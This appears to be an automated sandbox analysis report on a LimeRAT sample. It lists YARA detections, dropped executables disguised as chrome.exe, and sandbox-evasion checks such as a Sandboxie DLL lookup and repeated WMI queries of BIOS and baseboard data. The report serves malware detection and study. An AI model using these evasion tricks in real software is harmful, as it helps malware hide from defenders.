                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeProcess information set: NOOPENFILEERRORBOX

                      Malware Analysis System Evasion

                      barindex
                      Yara detected LimeRAT
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.2.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 18.0.chrome.exe.760000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000000.80097480691.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80087663971.0000000002BB0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000012.00000002.83499752484.0000000000762000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80247515540.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000010.00000002.80088120152.0000000002DA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892756744.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79892233843.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000002.80404784517.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246486829.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893250831.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80311999722.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000013.00000000.80246995488.0000000000A22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000000.79893776213.0000000000542000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000F.00000002.80316124713.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: wtqsCpda..exe PID: 1033924, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: schtasks.exe PID: 1034124, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 1034204, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: chrome.exe PID: 6672, type: MEMORYSTR
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPED
                      Source: Yara matchFile source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPED
                      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                      Source: chrome.exe, chrome.exe, 00000013.00000000.80248070314.0000000000A22000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: SBIEDLL.DLL
                      Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
